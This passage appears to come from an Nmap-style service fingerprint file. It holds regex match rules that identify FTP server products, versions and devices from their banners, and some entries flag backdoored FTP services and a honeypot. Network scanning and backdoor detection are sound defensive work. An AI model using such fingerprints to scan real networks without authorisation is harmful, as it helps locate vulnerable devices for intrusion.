ftp m|^220 Dell Laser Printer ([\w._-]+)\r\n| p/Dell $1 laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ match ftp m|^220 Dell Color Laser ([\w._-]+)\r\n| p/Dell $1 color laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ match ftp m|^220 Dell ([\w._-]+) Color Laser\r\n| p/Dell $1 color laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ match ftp m|^220 Dell MFP Laser ([\w._-]+)\r\n| p/Dell $1 laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ match ftp m|^220 Plan 9 FTP server ready\r\n| p/Plan 9 ftpd/ o/Plan 9/ cpe:/o:belllabs:plan_9/a match ftp m=^220-\+----------------------\[ UNREGISTERED VERSION \]-----------------------\+\r\n220-\| This site is running unregistered copy of RaidenFTPD ftp server \+\r\n= p/RaidenFTPd/ i/Unregistered/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|220 ([-\w_.]+) FTP server \(Version: Mac OS X Server ([\d.]+) - \+GSSAPI\) ready\.\r\n|s p/MacOS X Server ftpd/ i/MacOS X Server $2/ o/Mac OS X Server/ h/$1/ cpe:/o:apple:mac_os_x_server:$2/ match ftp m|^220 Fastream NETFile FTP Server(?: Ready)?\r\n| p/Fastream NETFile FTPd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 FTP 9500 server \(Version ([\d.]+)\) ready\.\r\n| p|Nokia Smartphone 9300/9500 ftpd| v/$1/ d/phone/ o/Symbian/ cpe:/o:symbian:symbian/ match ftp m|^220 [\d.]+ CVX FTP server \(([\d.]+)\) ready\.\r\n| p/CVX ftpd/ v/$1/ match ftp m|^220-\.:\.\r\n220-\.:+\r\n220-\.::::::::::\. e1137 FTP Server loading \.::::::::::::::\. WinSock ready \.| p/e1137 ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Connect\(active \d+, max active \d+\) session \d+ to RemoteScan Server ([\d.]+) on .*\r\n| p/RemoteScan ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220.ArGoSoft FTP Server for Windows NT/2000/XP, Version [\d.]+ \(([\d.]+)\)\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220.ArGoSoft FTP Server, Version [\d.]+ \(([\d.]+)\)\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ArGoSoft FTP Server \.NET v\.([\d.]+) at [^\r\n]*\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to the dvd2xbox ftp server\.\r\n| p/dvd2xbox built-in ftpd/ d/game console/ match ftp m|^220 Welcome To WinEggDrop Tiny FTP Server\r\n| p/WinEggDrop ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-\n220-Welcome to the HOME Edition of GlobalSCAPE CuteFTP Server, which limits\n| p/GlobalSCAPE CuteFTPd/ i/HOME Edition/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Gestetner DSm622 FTP server \(([\d.]+)\) ready\.\r\n| p/Gestetner DSm622 copier ftpd/ v/$1/ d/printer/ match ftp m|^220 NRG (\w+) FTP server \(([\d.]+)\) ready\.\r\n| p/NRG $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:nrg:$1/a match ftp m|^220-\r\n| p/Backdoor Pubstro ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 wzd server ready\.\r\n| p/wzdftpd/ match ftp m|^500 Sorry, no server available to handle request on ([-\w_.:]+)\r\n| p/ProFTPD/ i/No server available/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^500 Sorry, no server available to handle request on ([-\w_.:]+)\.\r\n| p/ProFTPD/ i/No server available/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^220 Intel NetportExpress\(tm\) 10/100 Single-port FTP server ready\.\r\n| p/Intel NetportExpress print server ftpd/ d/print server/ match ftp m|^220 NET\+ARM FTP Server ([\d.]+) ready\.\r\n| p/NET+ARM ftpd/ v/$1/ match ftp m|^220- FTPshell Server Service \(Version ([-\w_.]+)\)\r\n220 \r\n| p/FTPshell ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Connected to ([-\w_.]+) ready\.\.\.\r\n| p/TYPSoft ftpd/ o/Windows/ h/$1/ cpe:/a:typsoft:typsoft_ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-\w_.]+) FTP Server \(LiteServe\) Ready!\r\n| p/Perception LiteServe ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match ftp m|^220 BetaFTPD ([-\w_.]+) ready\.\r\n| p/BetaFTPd/ v/$1/ match ftp m|^220 NET Disk FTP Server ready\.\r\n| p|NET Disk/NetStore ftpd| match ftp m|^421 Service not available, closing control connection\.\r\n| p|NET Disk/NetStore ftpd| i/Disabled/ match ftp m|^220 NETWORK HDD FTP Server ready\.\r\n| p/Argosy Research HD363N Network HDD ftpd/ d/storage-misc/ match ftp m|^220 Blue Coat FTP Service\r\n| p/Blue Coat ftp proxy/ d/security-misc/ # Can't find any info on this ftpd. Backdoor? -Doug match ftp m|^220 Homer Ftp Server\r\n| p/Homer ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Personal FTP Server ready\r\n| p/Personal FTPd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Personal FTP Professional Server ready\r\n| p/Personal FTPd Professional/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-InterVations FileCOPA FTP Server Version ([\d.]+) .*\r\n220 Trial Version\. (\d+) days remaining\r\n| p/InterVations FileCOPA ftpd/ v/$1/ i/Trial: $2 days left/ o/Windows/ cpe:/a:intervations:filecopa:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 cab Mach4/(\d+) FTP Server ready\.\r\n| p/CAB MACH 4 label printer ftpd/ i/$1 dpi/ d/printer/ match ftp m|^220 cab A4\+/(\d+) FTP Server ready\.\r\n| p/CAB A4+ label printer ftpd/ i/$1 dpi/ d/printer/ match ftp m|^220 (KM[\w+]+) FTP server \(KM FTPD version ([\d.]+)\) ready\.\r\n| p/Konica Minolta $1 ftpd/ v/$2/ d/printer/ cpe:/h:konicaminolta:$1/a match ftp m|^220 Golden FTP Server ready v([\w._-]+)\r\n| p/Golden ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Golden FTP Server Pro ready v([\w._-]+)\r\n| p/Golden ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Golden FTP Server PRO ready v([\w._-]+)\r\n| p/Golden PRO ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ITC Version ([\d.]+) of [-\d]+ X Kyocera UIO UMC 10base OK \r\n| p/X Kyocera UIO UMC 10base print server ftpd/ v/$1/ d/print server/ cpe:/h:kyocera:uio_umc_10base/a match ftp m|^220 ActiveFax Version ([\d.]+) \(Build (\d+)\) - .*\r\n| p/ActiveFax ftpd/ v/$1 build $2/ match ftp m|^220-Welcome to .*\r\n220 CrushFTP Server Ready[!.]\r\n| p/CrushFTP/ cpe:/a:crushftp:crushftp/ match ftp m|^220-Welcome to CrushFTP([\w._-]+)!\r\n220 CrushFTP Server Ready\.\r\n| p/CrushFTP/ v/$1/ cpe:/a:crushftp:crushftp:$1/ match ftp m|^220 DPO-7300 FTP Server ([\d.]+) ready\.\n| p/NetSilicon DPO-7300 ftpd/ v/$1/ match ftp m|^220 Welcome to WinFtp Server\.\r\n| p/WinFtpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 IBM TCP/IP for OS/2 - FTP Server ver ([\d:.]+) on .* ready\.\r\n| p|IBM OS/2 ftpd| v/$1/ o|OS/2| cpe:/a:ibm:os2_ftp_server:$1/ cpe:/o:ibm:os2/ match ftp m|^220 AudioVAULT FTP server\r\n| p/AudioVault ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 FTP/VPP Server ([\d.]+) / Current Date: [-\d]+ [\d:]+\r\n| p/Verteiltes Printen und Plotten ftpd/ v/$1/ match ftp m|^220 Xerox WorkCentre (\w+) Ver ([\d.]+) FTP server\.\r\n| p/Xerox WorkCentre $1 ftpd/ v/$2/ d/printer/ cpe:/h:xerox:workcentre_$1/a match ftp m|^220 Xerox Phaser (\w+)\r\n| p/Xerox Phaser $1 printer ftpd/ d/printer/ cpe:/h:xerox:phaser_$1/a match ftp m|^220 .* Server \(vftpd ([\d.]+)\) ready\.\r\n| p/vftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Network Camera FTP Server\r\n| p/Vivotek 3102 Camera ftpd/ d/webcam/ match ftp m|^220-TwoFTPd server ready\.\r\n220 Authenticate first\.\r\n| p/TwoFTPd/ o/Unix/ match ftp m|^220 WEB TLC FTP SERVER READY TYPE HELP FOR HELP \r\n| p/Overland Storage Neo2000 ftpd/ d/storage-misc/ match ftp m|^220 ([-/.+\w_]+) Lexmark ([-/.+\w ]+) FTP Server ([-.\w]+) ready\.\r\n| p/Lexmark $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:lexmark:$2/a match ftp m|^220 ([-/.+\w_]+) MarkNet ([-/.+\w ]+) FTP Server ([-.\w]+) ready\.\r\n| p/Lexmark $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:lexmark:$2/a match ftp m|^500 ([\w._-]+) FTP server shut down -- please try again later\.\r\n| p/Mac OS X Server ftpd/ i/disabled/ o/Mac OS X/ h/$1/ cpe:/o:apple:mac_os_x/a match ftp m|^220 \(Ver\. ([^)]+)\) [A-Z][a-z]{2} \d+ 20\d+ ready\.\r\n| p|Canon VB-C10/VB-C10R webcam ftpd| v/$1/ d/webcam/ match ftp m|^220 Cisco \(([\d.]+)\) FTP server ready\r\n| p/Cisco ftpd/ v/$1/ o/IOS/ cpe:/o:cisco:ios/a match ftp m|^220 \"Global Site Selector FTP\"\r\n| p/Cisco Site Selector ftpd/ d/security-misc/ cpe:/h:cisco:global_site_selector:-/ match ftp m|^220 ISOS FTP Server \(([\d.]+)\) ready\r\n| p/Xavi 7768 WAP ftpd/ v/$1/ d/WAP/ cpe:/h:xavi:7768/ match ftp m|^220- smallftpd ([\d.]+)\r\n220- check http://smallftpd\.free\.fr| p/smallftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-\w_.]+) GridFTP Server ([\w._-]+) \((gcc\w+), [-\d]+\) (?:\[unknown\] )?ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$3/ h/$1/ match ftp m|^220 ([\w._-]+) GridFTP Server ([\w._-]+) \((gcc\w+), [-\d]+\) \[Globus Toolkit ([\w._-]+)\] ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/Globus Toolkit $4; $3/ h/$1/ match ftp m|^220 ([-\w_.]+) (?:[A-Z]+ )?GridFTP Server ([\d.]+) (GSSAPI type Globus/GSI wu-\S+) \(gcc\w+, [-\d]+\) ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$3/ h/$1/ match ftp m|^220 ([-\w_.]+) FTP server \(GridFTP Server ([\d.]+) \[(GSI patch v[\d\.]+)\] (wu-\S+) .+\) ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$4 $3/ h/$1/ match ftp m|^220 Welcome to the OpenDreambox FTP service\.\r\n| p/Dreambox ftpd/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Willkomen auf Ihrer Dreambox\.\r\n| p/Dreambox ftpd/ i/German/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Welcome to the PLi dreambox FTP server\r\n| p/Dreambox ftpd/ i/PLi image/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Welcome to the Pli Jade Server >> OpenDreambox FTP service <<\.\r\n| p/Dreambox ftpd/ i/PLi Jade image/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 ([-\w_.]+) FTP server \(KONICA FTPD version ([\d.]+)\) ready\.\r\n| p/Konica Minolta printer ftpd/ v/$2/ d/printer/ h/$1/ match ftp m|^220 KONICA MINOLTA FTP server ready\.\r\n| p/Konica Minolta bizhub printer ftpd/ d/printer/ match ftp m|^Error loading /etc/ssl/certs/ftpd\.pem:| p/Linux NetKit ftpd/ i/misconfigured/ o/Linux/ cpe:/a:netkit:netkit/ cpe:/o:linux:linux_kernel/a match ftp m|^500 OOPS: cannot locate user entry:([-\w_]+)\r\n500 OOPS: child died\r\n| p/vsftpd/ i/misconfigured; ftp user $1/ cpe:/a:vsftpd:vsftpd/ match ftp m|^220 Welcome to Freebox FTP Server\.\r\n| p/Freebox ftpd/ d/media device/ match ftp m|^220 FTP server \(Medusa Async V([\d.]+) \[experimental\]\) ready\.\r\n| p/Zope Medusa ftpd/ v/$1/ match ftp m|^220- Novonyx FTP Server for NetWare, v([\d.]+) \(| p/Novonyx ftpd/ v/$1/ o/NetWare/ cpe:/o:novell:netware/a match ftp m|^220 ([-\w_.]+) \(Aironet (BR\w+) V([\d.]+)\) ready\r\n| p/Aironet $2 wireless bridge ftpd/ v/$3/ d/WAP/ h/$1/ cpe:/h:cisco:aironet_$2/ match ftp m|^220-Welcome To Rumpus!\r\n220 Service ready for new user\r\n| p/Rumpus ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match ftp m|^220 Hello, I'm freeFTPd ([\d.]+)\r\n| p/FreeFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 PrNET FTP server \(PrNET FTP ([\d.]+)\) ready\.\r\n| p/Panasonic WV-NP1000 webcam ftpd/ v/$1/ d/webcam/ cpe:/h:panasonic:wv-np1000/a match ftp m|^220-Looking up your hostname\.\.\.\r\n220-Welcome to SimpleFTPd v([\w.]+) by MagicalTux| p/SimpleFTPd/ v/$1/ match ftp m|^220 IB-21E Ver ([\d.]+) FTP server\.\r\n| p/Kyocera IB-21E print server ftpd/ v/$1/ d/print server/ cpe:/h:kyocera:ib-21e/a match ftp m|^220 IB-23 Ver ([\d.]+) FTP server\.\r\n| p/Kyocera FS-1000D-series print server ftpd/ v/$1/ d/print server/ match ftp m|^220 SurgeFTP ([-\w_.]+) \(Version ([\w.]+)\)\r\n| p/SurgeFTPd/ v/$2/ h/$1/ cpe:/a:netwin:surgeftp:$2/ match ftp m|^220 Disk Station FTP server at ([-\w_.]+) ready\.\r\n| p/Synology NAS ftpd/ d/storage-misc/ h/$1/ match ftp m|^220 FTP Merak ([\d.-]+)\r\n| p/Merak ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^refused in\.ftpd from [-\w_.]+ logged\n| p/tcpwrapped ftpd/ i/refused/ match ftp m|^220 Ipswitch Notification Server| p/Ipswitch notification ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-?\s+SSH-[\d.]+-([a-zA-Z]+)| p/FTP masquerading as $1/ i/**BACKDOOR**/ match ftp m|^220 Xlight FTP Server ([\d.]+) ready\.\.\.\r\n| p/Xlight ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Xlight Server ([\d.]+) ready\.\.\. \r\n| p/Xlight ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 NetTerm FTP server ready \r\n| p/NetTerm ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 SHARP ([\w-]+) FTP server ready\.\r\n| p/Sharp $1 printer ftpd/ d/printer/ cpe:/h:sharp:$1/a match ftp m|^220 SHARP ([\w-]+) Ver ([\w._-]+) FTP server\.\r\n| p/SHARP $1 printer ftpd/ v/$2/ d/printer/ match ftp m|^220 (FS-\w+) FTP server\.?\r\n| p/Kyocera $1 printer ftpd/ d/printer/ cpe:/h:kyocera:$1/ match ftp m|^220 Scala FTP \(\"Scala InfoChannel Player \d+\" ([\w/.]+)\)\r\n| p/Scala InfoChannel Player ftpd/ v/$1/ d/media device/ match ftp m|^220 FTP Services for ClearPath MCP: Server version ([\d.]+)\r\n| p/Unisys ClearPath MCP ftpd/ v/$1/ match ftp m|^220 Nut/OS FTP ([\d.]+) beta ready at| p|Nut/OS Demo ftpd| v/$1/ o|Nut/OS| cpe:/o:ethernut:nut_os/a match ftp m|^ftpd - accept the connection from [\d.]+\n220-eDVR FTP Server v([\d.]+) \(c\)Copyright WebGate Inc\. \w+-\w+\r\n220-Welcome to (DS\w+)\r\n220 You will be disconnected after 180 seconds of inactivity\.\r\n| p/WebGate $2 eDVR camera ftpd/ v/$1/ d/webcam/ match ftp m|^220 FTP-Backupspace\r\n$| p/STRATO backup ftpd/ match ftp m|^220-.* \(([-\w_.]+)\)\r\n Synchronet FTP Server ([-\w_.]+)-Win32 Ready\r\n| p/Synchronet ftpd/ v/$2/ o/Windows/ h/$1/ cpe:/a:rob_swindell:synchronet:$2/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to (DCS-\w+) FTP Server\r\n$| p/D-Link $1 webcam ftpd/ d/webcam/ cpe:/h:dlink:$1/a match ftp m|^220 X5 FTP server \(version ([\d.]+)\) ready\.\r\n| p/Zoom ADSL modem/ i/X5 $1/ d/broadband router/ match ftp m|^220 zFTPServer v([-\w_.]+), build ([-\d]+)| p/zFTPServer/ v/$1 build $2/ o/Windows/ cpe:/a:vaestgoeta-data:zftpserver:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to zFTPServer\r\n| p/zFTPServer/ o/Windows/ cpe:/a:vaestgoeta-data:zftpserver/ cpe:/o:microsoft:windows/a match ftp m|^220 FRITZ!BoxWLAN(\d+)(?:\(UI\))? FTP server ready\.\r\n| p/FRITZ!Box WLAN $1 WAP ftpd/ d/WAP/ match ftp m|^220 FRITZ!BoxFonWLAN(\w+)(?:\(\w+\))? FTP server ready\.\r\n| p/FRITZ!Box Fon WLAN $1 WAP ftpd/ d/WAP/ match ftp m|^220 FRITZ!Box Fon WLAN (\d+) FTP server ready\.\r\n| p/FRITZ!Box Fon WLAN $1 WAP ftpd/ d/WAP/ match ftp m|^220 FRITZ!Box(\w+)Cable\(um\) FTP server ready\.\r\n| p/FRITZ!Box $1 cable modem ftpd/ d/broadband router/ match ftp m|^220 CompuMaster SRL, WT-6500 Ftp Server \(Version ([\d.]+)\)\.\r\n| p/CompuMaster WT-6500 ThinClient ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^211 Hello \[[-\w_.]+\], Secure/IP Authentication Server ([-\w_.]+) at your service\.\r\n| p|OpenVMS Secure/IP ftpd| v/$1/ o/OpenVMS/ cpe:/o:hp:openvms/a match ftp m|^220 HP166XC V([-\w_.]+) FUSION FTP server \(Version ([-\w_.]+)\) ready\.\r\n| p/HP166XC $1 Logic Analyzer ftpd/ i/FUSION ftpd $2/ d/specialized/ match ftp m|^220 FTP Server, type 'quote help' for help\r\n$| p/Polycom VSX 8000 ftpd/ d/webcam/ cpe:/h:polycom:vsx_8000/a match ftp m|^550 no more people, max connections is reached\r\n| p/Avalaunch XBOX ftpd/ i/Max connections reached/ d/game console/ match ftp m|^220 Fastream IQ FTP Server\r\n| p/Fastream IQ ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 RICOH Aficio ([\w ._+-]+?) FTP server \(([-\w_.]+)\) ready\.\r\n| p/Ricoh Aficio $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:aficio_$1/a match ftp m|^220 RICOH Aficio ([\w ._+-]+?) \(([-\w_.]+)\) FTP server ready\r\n| p/Ricoh Aficio $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:aficio_$1/a match ftp m|^220 HIOKI ftp service v([\d.]+)\r\n| p/Hioki HiCorder 8855 ftpd/ v/$1/ d/specialized/ match ftp m|^220 Treck FTP server ready\.\r\n| p/Treck Embedded ftpd/ match ftp m|^220 Microtest SuperCD-cdserver FTP server \(Version V([\w._-]+)\) ready\.\r\n| p/Axonix SuperCD ftpd/ v/$1/ d/media device/ match ftp m|^220 FTP service \(Ftpd ([\d.]+)\) ready on ([\w._-]+) at| p/Minix ftpd/ v/$1/ o/Minix/ h/$2/ cpe:/a:minix:ftpd:$1/ cpe:/o:minix:minix/a match ftp m|^220 Cube Station FTP server at ([\w._-]+) ready\.\r\n| p/Synology CubeStation ftpd/ h/$1/ match ftp m|^220 Xerox Phaser (\w+)\r\n421 Service not available, closing control connection\r\n| p/Xerox Phaser $1 ftpd/ d/printer/ cpe:/h:xerox:phaser_$1/a match ftp m|^220 CrossFTP Server ready for new user\.\r\n| p/CrossFTP java ftpd/ match ftp m|^220 ATAboy2X-\d+ FTP V([\w._-]+) ready\n| p/ATAboy2X ftpd/ v/$1/ d/storage-misc/ match ftp m|^220 Belkin Network USB Hub Ver ([\w._-]+) FTP server\.\r\n| p/Belkin USB hub ftpd/ v/$1/ match ftp m|^220-TCP/IP for VSE FTP Daemon Version ([\w._-]+) | p/VSE ftpd/ v/$1/ o|z/VSE| cpe:/o:ibm:z%2fvse/ match ftp m|^220 FTP server: Lexmark Optra LaserPrinter ready\r\n| p/Lexmark Optra LaserPrinter ftpd/ d/printer/ match ftp m|^220 NSE \(AG (\d+) v([\w._-]+)\) FTP server ready\r\n| p/Nomadix AG $1 ftpd/ v/$2/ d/WAP/ cpe:/h:nomadix:ag_$1/a match ftp m|^220 Welcome to Easy File Sharing FTP Server!\r\n| p/Easy File Sharing ftpd/ o/Windows/ cpe:/a:efssoft:easy_file_sharing_ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220- \*+\r\n220- \r\n220- Welcome to Dream FTP Server\r\n220- Copyright 2002 - 2004\r\n220- BolinTech Inc\.\r\n| p/BolinTech Dream FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to the Netburner FTP server\.\r\n| p/Netburner embedded device ftpd/ d/specialized/ match ftp m|^220 NetBotz FTP Server ([\w._-]+) ready\.\r\n| p/NetBotz network monitor ftpd/ v/$1/ d/security-misc/ match ftp m|^220 TOSHIBA e-STUDIO5500c FTP server \(([\w._-]+)\) ready\.\r\n| p/Toshiba e-STUDIO5500c printer ftpd/ v/$1/ d/printer/ cpe:/h:toshiba:e-studio5500c/a match ftp m|^220 \(WJ-HD220 FTP Server version ([\w._-]+) Ready\)\r\n| p/Panasonic WJ-HD220 ftpd/ v/$1/ d/media device/ match ftp m|^(?:220-.*\r\n)*220 ([\w._-]+) FTP server \(EMC-SNAS: ([\w._-]+)\) ready\.\r\n| p/EMC Scalable Network Accelerator ftpd/ v/$2/ h/$1/ match ftp m|^220-CentOS release ([\w._-]+) .*\r\n220 ProFTPD ([\w._-]+) Server \(ProFTPD Default Installation\)|s p/ProFTPD/ v/$2/ i/CentOS $1/ o/Linux/ cpe:/a:proftpd:proftpd:$2/a cpe:/o:centos:centos/ match ftp m|^220 TCAdmin FTP Server\r\n| p/Balance Servers TCAdmin game hosting ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^.* klogd: klogd started: BusyBox v([\w._-]+) \(.*\)\r\nDoing BRCTL \.\.\.\r\nsetfilter br0 0 \r\n/var/tmp/act_firewall: No such file or directory\r\n| p/Actiontec router ftpd/ i/firewall broken; BusyBox $1/ d/broadband router/ cpe:/a:busybox:busybox:$1/ # these should be fine. embyte match ftp m|^220 .*BlackJumboDog Version ([^ ]+)| p/Blackjumbodog FTPd/ v/$1/ match ftp m|^220[- ] ?[Cc]rob FTP [Ss]erver [Vv]?([-.\d\w]+)| p/Crob FTPd/ v/$1/ match ftp m|^220.* GlobalSCAPE Secure FTP Server \(v\. ([^\)]+)\)| p/GlobalSCAPE Secure FTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 GlobalSCAPE Secure FTP Server\r\n| p/GlobalSCAPE Secure FTPd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Mollensoft FTP Server ([^ ]+) Ready\.| p/Mollensoft FTPd/ v/$1/ match ftp m|^220 Welcome to Ocean FTP Server.| p/Ocean FTPd/ match ftp m|^220 4dftp .* FTP Service \(Version ([^)]+)\)| p/WebStar 4dftp/ v/$1/ match ftp m|^220 IBM NPS 540\+/542\+ FTP Printer Server V([\w._-]+) | p|IBM NPS 540+/542+ print server ftpd| v/$1/ d/print server/ match ftp m|^220 ([\w._-]+) FTP server \(mmftpd \(([\w._/-]+)\)\) ready\r\n| p/mmftpd/ v/$2/ h/$1/ match ftp m|^220 C500 FTP Server ([\w._-]+) ready\.\n| p/Lexmark C500 printer ftpd/ v/$1/ d/printer/ cpe:/h:lexmark:c500/a match ftp m|^220-TiMOS-\w+-([\w._-]+) cpm/hops ALCATEL ESS 7450 Copyright \(c\) 2000-2007 Alcatel-Lucent\.\r\n| p/Alcatel-Lucent ESS 7450 router ftpd/ v/$1/ d/router/ o/TiMOS/ cpe:/h:alcatel-lucent:ess_7450/a cpe:/o:alcatel-lucent:timos/ match ftp m|^220 SAVIN 8055 FTP server \(([\w._-]+)\) ready\.\r\n| p/Savin 8055 printer ftpd/ v/$1/ d/printer/ cpe:/h:savin:8055/a match ftp m|^220 TANDBERG Satellite Modulator SM6600\r\n| p/Tandberg SM6600 Satellite Modulator ftpd/ d/media device/ match ftp m|^220 SUN StorEdge 3511 RAID FTP server ready\.\r\n| p/Sun StorEdge 3511 ftpd/ d/storage-misc/ match ftp m|^220 IFT ([\w._-]+) RAID FTP server ready\.\r\n| p/Infortrend EonStor $1 ftpd/ d/storage-misc/ match ftp m|^421 Closing non-secure connections in Secure Mode\. \r\n| p/Polycom VSX 7000A VoIP phone ftpd/ d/VoIP phone/ cpe:/h:polycom:vsx_7000a/a match ftp m|^220-Sami FTP Server ([\w._-]+)\r\n| p/KarjaSoft Sami ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 DrFTPD ([\w._-]+) http://drftpd\.org\r\n| p/DrFTPD/ v/$1/ match ftp m|^220 DrFTPD\+ ([\w._-]+) \(\+STABLE\+\) \$Revision: (\d+) \$ http://drftpd\.org\r\n| p/DrFTPD/ v/$1 revision $2/ match ftp m|^220 Conti FTP Server ready\r\n| p/Conti ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Mobile File Service\r\n\r\n| p|HTC P4000 PDA/Phone ftpd| d/PDA/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Topfield PVR FTP server\r\n| p/Topfield HDPVR satellite decoder ftpd/ d/media device/ match ftp m|^220 ([\w._-]+) FTP server \(WS2000 FTPD Server\) ready\.\r\n| p|Motorola/Symbol WS2000 WAP ftpd| d/WAP/ h/$1/ match ftp m|^220 ADH FTP SERVER READY TYPE HELP FOR HELP \r\n| p/AD Network Video Dedicated Micros DVR ftpd/ d/webcam/ match ftp m|^220 TDS400 FTP Service \(Version ([\w._-]+)\)\.\r\n| p/TDS400 printer ftpd/ v/$1/ d/printer/ match ftp m|^220 ---freeFTPd 1\.0---warFTPd 1\.65---\r\n| p/Nepenthes HoneyTrap fake vulnerable ftpd/ match ftp m|^220- \w+\r\n220 FTP Server powered by: Quick 'n Easy FTP Server\r\n| p/Quick 'n Easy FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-National Instruments FTP\r\n220 Service Ready \r\n| p/National Instruments LabVIEW ftpd/ d/specialized/ cpe:/a:ni:labview/ # The ASCII spells "FREETZ". match ftp m=^220- __ _ __ __ ___ __\r\n220- \|__ \|_\) \|__ \|__ \| /\r\n220- \| \|\\ \|__ \|__ \| /_\r\n220-\r\n220- The fun has just begun\.\.\.\r\n220 \r\n= p/vsftpd/ i/Freetz firmware for AVM Fritz!Box/ d/WAP/ cpe:/a:vsftpd:vsftpd/ match ftp m|Permission denied\.\(Please check access control list\)\r\nPermission denied\.\(Please check access control list\)\r\n\n\rSystem administrator is connecting from [\d.]+\n\rReject the connection request !!!\n\r\n\rSystem administrator is connecting from [\d.]+\n\rReject the connection request !!!\n\r| p/DrayTek Vigor 2820 ADSL router ftpd/ i/access denied/ d/broadband router/ cpe:/h:draytek:vigor_2820/a match ftp m|^550 Permission denied\.\(Too many user login!!!\)\r\nPermission denied\.\(Please check access control list\)\r\n| p/DrayTek Vigor 2820n ADSL router ftpd/ i/access denied/ d/broadband router/ cpe:/h:draytek:vigor_2820n/a match ftp m|^220-FTPSERVE IBM VM Level (\d)(\d+) at ([\w._-]+), [^\r\n]*\r\n220 Connection will close if idle for more than 5 minutes\.\r\n| p/IBM FTPSERVE/ o|z/VM $1.$2| h/$3/ cpe:/o:ibm:z%2fvm:$1.$2/ match ftp m|^220 MeritFTP ([\d.]+) at ([\d.]+) ready\.\r\n| p/Merit Megatouch game device ftpd/ v/$1/ d/specialized/ h/$2/ match ftp m|^220 NET\+OS ([\d.]+) FTP server ready\.\r\n503 Bad sequence of commands\r\n| p/NET+OS ftpd/ i/NET+OS $1/ o/NET+OS/ cpe:/o:digi:net%2bos:$1/ match ftp m|^220 Welcome to the NSLU2 vsftp daemon\.\r\n| p/vsftpd/ i/NSLU2 NAS device/ d/storage-misc/ cpe:/a:vsftpd:vsftpd/ match ftp m|^220- Menuet FTP Server v([\d.]+)\r\n220 Username and Password required\r\n| p/Menuet FTP Server/ v/$1/ o/MenuetOS/ cpe:/o:menuetos:menuetos/ match ftp m|^220 Xyratex (\w+) RAID FTP server ready\.\r\n| p/Xyratex $1 RAID NAS device ftpd/ d/storage-misc/ match ftp m|^220 MLT-57066 